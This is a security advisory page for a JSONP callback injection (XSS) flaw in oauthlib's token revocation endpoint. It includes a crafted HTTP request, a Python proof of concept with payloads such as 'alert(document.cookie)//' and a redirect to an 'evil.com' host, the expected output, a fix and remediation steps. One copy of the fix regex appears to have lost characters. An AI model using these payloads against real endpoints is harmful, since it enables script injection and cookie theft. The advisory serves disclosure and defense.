CVE-2026-49264: XSS

Published Sep 29, 2026
·
Updated

Summary

When enablejsonp=True, oauthlib's RevocationEndpoint reflects the user-supplied callback parameter directly into JavaScript response bodies on both success and error paths without validating that it is a legal JSONP callback name. This allows arbitrary JavaScript response generation instead of a restricted function call, making the documented JSONP revocation feature unsafe for browser-based JSONP consumption when attackers can influence callback.

Details

The issue is in oauthlib/oauth2/rfc6749/endpoints/revocation.py.

When enablejsonp=True is passed to the RevocationEndpoint constructor, two code paths wrap the response body using the user-supplied request.callback parameter:

python Error response path (line 72-73): if self.enablejsonp and request.callback: responsebody = '{}({});'.format(request.callback, responsebody)

Success response path (line 81-82): if self.enablejsonp and request.callback: responsebody = request.callback + '();'

The request.callback value comes from HTTP request parameters, either the query string or POST body, via the Request class in oauthlib/common.py (lines 394-395), which merges query and body parameters into params. Any value the client sends as callback is used verbatim.

There is no validation of any kind on the callback parameter: - No check that it is a valid JavaScript identifier - No whitelist of allowed characters - No escaping or sanitization

A safe JSONP implementation must validate that the callback is a legal JavaScript function name (e.g., matching ^[a-zA-Z$][a-zA-Z0-9$.]$). Without this, the attacker controls the JavaScript code returned in the response body. This is the standard mitigation used by jQuery, Express.js, Google APIs, and other major JSONP implementations.

How the injection works:

An attacker sends a revocation request with a crafted callback value:

POST /revoke HTTP/1.1 Content-Type: application/x-www-form-urlencoded

token=anything&callback=alert(document.cookie)//

The server responds with:

alert(document.cookie)//({"error": "invalidclient"});

This is syntactically valid JavaScript. alert(document.cookie) executes as a statement, and // comments out the rest of the line. The attacker has full control over the code that appears before the //.

Execution context and attack surface:

JSONP works by having a browser load a remote script via <script src="...">. The loaded script executes in the origin of the including page, not the remote server. This means a <script src="https://auth.example.com/revoke?token=x&callback=payload"> tag on evil.com would execute the payload in evil.com's context, not the auth server's context.

The impact comes from client-side integrations that consume this endpoint as trusted JSONP. If a legitimate OAuth client includes <script src> pointed at the revocation endpoint and an attacker can influence the callback value (e.g., via query parameter injection, a reflected value, or a man-in-the-middle downgrade), the attacker controls what code runs in the client application's origin. The authorization server becomes a source of attacker-controlled JavaScript that client applications trust and execute.

Note: the enablejsonp parameter defaults to False, so only deployments that explicitly opt in are affected. However, this is a supported, documented library feature, not a debug flag. The client-side library includes preparetokenrevocationrequest() with an explicit callback parameter (oauthlib/oauth2/rfc6749/parameters.py, line 174), and the documentation shows JSONP revocation as a use case (oauthlib/oauth2/rfc6749/clients/base.py, lines 351-358). The existing test suite tests JSONP callback reflection with a benign value (testrevocationendpoint.py, lines 91-101) but does not test for injection. Deployments that enable JSONP typically do so to support older browsers or cross-origin revocation from JavaScript clients, these are exactly the environments most sensitive to script injection.

PoC

Requirements: Python 3.x with oauthlib installed (pip install oauthlib).

python from oauthlib.oauth2.rfc6749.endpoints.revocation import RevocationEndpoint from oauthlib.oauth2.rfc6749.requestvalidator import RequestValidator

class FailValidator(RequestValidator): """Auth fails -> triggers error response path (lines 72-73).""" def clientauthenticationrequired(self, request, a, kw): return True def authenticateclient(self, request, a, kw): return False def authenticateclientid(self, clientid, request, a, kw): return False

class PassValidator(RequestValidator): """Auth passes -> triggers success response path (lines 81-82).""" def clientauthenticationrequired(self, request, a, kw): return False def authenticateclientid(self, clientid, request, a, kw): return True def revoketoken(self, token, tokentypehint, request, a, kw): pass

payloads = [ "alert(document.cookie)//", "window.location='https://evil.com/'//", "eval('malicious')//", ]

--- Error path (401) --- print("Error path (enablejsonp=True, auth fails):") epfail = RevocationEndpoint(FailValidator(), enablejsonp=True) for p in payloads: h, body, status = epfail.createrevocationresponse( "https://auth.example.com/revoke", httpmethod="POST", body=f"token=x&callback={p}") assert p in body, "Payload not reflected" print(f" [{status}] Content-Type: {h.get('Content-Type','(none)')} Body: {body}")

--- Success path (200) --- print("\nSuccess path (enablejsonp=True, revocation succeeds):") eppass = RevocationEndpoint(PassValidator(), enablejsonp=True) for p in payloads: h, body, status = eppass.createrevocationresponse( "https://auth.example.com/revoke", httpmethod="POST", body=f"token=x&callback={p}") assert p in body, "Payload not reflected" print(f" [{status}] Content-Type: {h.get('Content-Type','(none)')} Body: {body}")

--- Control (default: enablejsonp=False) --- print("\nControl (enablejsonp=False, default):") epsafe = RevocationEndpoint(FailValidator(), enablejsonp=False) , body, status = epsafe.createrevocationresponse( "https://auth.example.com/revoke", httpmethod="POST", body="token=x&callback=alert(1)//") assert "alert" not in body, "Payload should not be present" print(f" [{status}] {body}") print("\nAll assertions passed.")

Expected output:

Error path (enablejsonp=True, auth fails): [401] Content-Type: application/json Body: alert(document.cookie)//({"error": "invalidclient"}); [401] Content-Type: application/json Body: window.location='https://evil.com/'//({"error": "invalidclient"}); [401] Content-Type: application/json Body: eval('malicious')//({"error": "invalidclient"});

Success path (enablejsonp=True, revocation succeeds): [200] Content-Type: (none) Body: alert(document.cookie)//(); [200] Content-Type: (none) Body: window.location='https://evil.com/'//(); [200] Content-Type: (none) Body: eval('malicious')//();

Control (enablejsonp=False, default): [401] {"error": "invalidclient"}

All assertions passed.

Both paths reflect the attacker's payload verbatim into the response body.

Impact

Any oauthlib-based authorization server that enables JSONP on the revocation endpoint (enablejsonp=True) returns attacker-controlled JavaScript in its response body.

Any page or application that loads this endpoint's response as JSONP and exposes attacker influence over the callback parameter will execute attacker-controlled code in its own origin. If a legitimate OAuth client uses JSONP revocation (as documented by oauthlib's client-side API) and an attacker can influence the callback value, the attacker controls what code runs in the client application, including access to the client page's DOM and any data normally accessible to scripts running in that origin.

The JSONP feature is intended for legacy cross-origin browser support. Deployments that need it are typically JavaScript-heavy clients, exactly the environment most sensitive to script injection.

Affected versions: oauthlib >= 0.6.1 through 3.3.1 (current) and master. The unsanitized callback has been present since the revocation endpoint was first introduced in 2013 (commit da775de). The enablejsonp gate was added in 2014 (commit b85f89a) but no validation of the callback value was ever added.

Suggested fix

Validate the callback parameter against a strict pattern for legal JavaScript identifiers before using it in the response. Reject or ignore values that do not match:

python import re

Only allow safe JSONP callback names: valid JS identifiers, optionally dot-separated JSONPCALLBACKPATTERN = re.compile(r'^[a-zA-Z$][a-zA-Z0-9$](\.[a-zA-Z$][a-zA-Z0-9$])$')

In createrevocationresponse(), before using request.callback: if self.enablejsonp and request.callback: if not JSONPCALLBACKPATTERN.match(request.callback): request.callback = None

This is the standard mitigation for JSONP callback injection and is the approach used by jQuery, Express.js, and Google APIs. It ensures only syntactically valid function names like package.helloworld are accepted, while blocking payloads like alert(document.cookie)//.

As a secondary hardening measure, when JSONP is enabled, the response should set Content-Type: application/javascript (not application/json or empty) to ensure correct browser handling. Currently the success path returns no Content-Type at all, and the error path returns application/json.

Alternatively, if JSONP is no longer considered a necessary feature, consider deprecating and removing the enablejsonp option entirely. CORS is now supported by all modern browsers and is the standard mechanism for cross-origin API access.

Affected Software

1 affected componentFixes available
pip/oauthlib>=0.6.1<=3.3.1
4.0.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/oauthlib to a version that resolves this vulnerability.

    Fixed in 4.0.0
  2. Configuration

    When enable_jsonp=True, validate the callback parameter against this strict pattern before using it in either the success or error response; reject or ignore values that do not match.

    oauthlib RevocationEndpoint callback validation = ^[a-zA-Z_$][a-zA-Z0-9_$]*(\.[a-zA-Z_$][a-zA-Z0-9_$]*)*$
  3. Configuration

    When JSONP is enabled, set the response Content-Type to application/javascript.

    oauthlib RevocationEndpoint Content-Type = application/javascript

Event History

Sep 29, 2026
Advisory Published
via GitHub·05:53 PM
Data Sourced
via GitHub·05:53 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Which deployments are exposed to this issue?

Only deployments that construct oauthlib's RevocationEndpoint with enable_jsonp=True are described as affected. The unsafe behavior applies to both successful revocation responses and error responses when a callback parameter is supplied.

2

What does an attacker need to exploit it?

An attacker needs to be able to influence the callback HTTP parameter, which may be supplied through either the query string or POST body. No authentication or special privileges are indicated in the supplied severity vector, but user interaction is required.

3

What can be done if patching is not immediately possible?

Disable JSONP by ensuring enable_jsonp is not set to True for the RevocationEndpoint. This removes the response-wrapping behavior that reflects the callback value into JavaScript.

4

How can I determine whether my application is affected?

Review creation of RevocationEndpoint instances for enable_jsonp=True. If enabled, send a revocation request with a callback value containing non-callback JavaScript syntax and check whether that value is reflected directly in the JavaScript response body on success or error paths.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203